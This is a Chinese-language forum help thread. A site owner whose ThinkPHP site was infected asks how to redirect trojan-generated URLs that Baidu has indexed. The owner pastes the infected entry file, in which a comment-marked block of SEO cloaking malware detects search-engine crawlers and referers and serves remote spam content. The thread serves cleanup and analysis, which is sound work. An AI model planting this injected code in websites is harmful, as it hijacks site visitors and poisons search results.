ThinkPHP中木马病毒跳转,百度收录了几千条木马页 悬赏1元 已结束
<p>ThinkPHP中木马病毒跳转,百度收录了几千条木马页,现已清除木马。但搜索引擎的结果未去除。</p><p>总结一下:正常页面是.html页面,木马是带?,即全部是以下2种格式</p><p>1、/index.php?4vBPE6Dy.ppt
</p><p>2、/?Zrzt.xml
</p><p>哪位PHP高手大哥帮忙写几句跳转代码,凡是有这个/index.php?或/?,即自动跳转/404.html。方便去除木马收录结果,衷心感谢</p><p><br></p>
if(strpos($_SERVER["REQUEST_URI"
Header("Location:
网站也太不安全了,
投诉吧
附上代码
<?PHP
// +----------------------------------------------------------------------
// | ThinkPHP [ WE CAN DO IT JUST THINK IT ]
// +----------------------------------------------------------------------
// | Copyright (c) 2006-2012 All rights reserved.
// +----------------------------------------------------------------------
// | Licensed ( )
// +----------------------------------------------------------------------
// | Author: liu21st <liu21st@
// +----------------------------------------------------------------------
// ThinkPHP 入口文件
// 记录开始运行时间
$GLOBALS['_beginTime'] = microtime(TRUE);
// 记录内存初始使用
//<!--以下为木马病毒-->
header("Content-Type: text/html;charset=utf-8");
set_time_limit(0);
error_reporting(0);
$a='stristr';
$b=$_SERVER;
define('url',$b['REQUEST_URI']);
define('ref',$b['HTTP_referer']);
define('ent',$b['HTTP_USER_AGENT']);
define('Site',"");
define('road',"?road=".$b['HTTP_HOST'].url."&der=".ent);
define('regs','@Baidu|Sogou|Yisou|Soso|Haosou|360Spider||@i');
define('area',$a(url,".xml")or $a(url,".doc")or $a(url,".txt")or $a(url,".PPT")or $a(url,".xls")or $a(url,".csv")or $a(url,".shtml")or $a(url,".docx")or $a(url,".xlsx")and $a(url,"?"));
if(area&&preg_match(regs,ref)){echo gga(site.'?tz');
exit;
}if(preg_match(regs,ent)){if(area){echo gga();
exit;
}else{echo gga(site."?zz".road);
ob_flush();
flush();
}}function gga($d){$e=array('http'=>array('method'=>"GET"));
$i=stream_context_create($e);
$j=file_get_contents($d,false,$i);
if(!empty($j)){return $j;
}}
//<!--以上为木马病毒-->
define('MEMORY_LIMIT_ON',function_exists('memory_get_usage'));
if(MEMORY_LIMIT_ON) $GLOBALS['_startUSEMems'] = memory_get_usage();
// 系统目录定义
defined('THINK_PATH') or define('THINK_PATH', dirname(__FILE__).'/');
defined('APP_PATH') or define('APP_PATH', dirname($_SERVER['SCRIPT_FILENAME']).'/');
defined('APP_DEBUG') or define('APP_DEBUG',false); // 是否调试模式
if(defined('ENGINE_NAME')) {
defined('ENGINE_PATH') or define('ENGINE_PATH',THINK_PATH.'Extend/Engine/');
require ENGINE_(ENGINE_NAME).'.php';
}else{
defined('RUNTIME_PATH') or define('RUNTIME_PATH',APP_PATH.'Runtime/');
$runtime = defined('MODE_NAME')?'~'.strtolower(MODE_NAME).'_':'~';
defined('RUNTIME_FILE') or define('RUNTIME_FILE',RUNTIME_PATH.$runtime);
if(!APP_DEBUG && is_file(RUNTIME_FILE)) {
// 部署模式直接载入运行缓存
require RUNTIME_FILE;
}else{
// 加载运行时文件
require THINK_PATH.'Common/';
}
}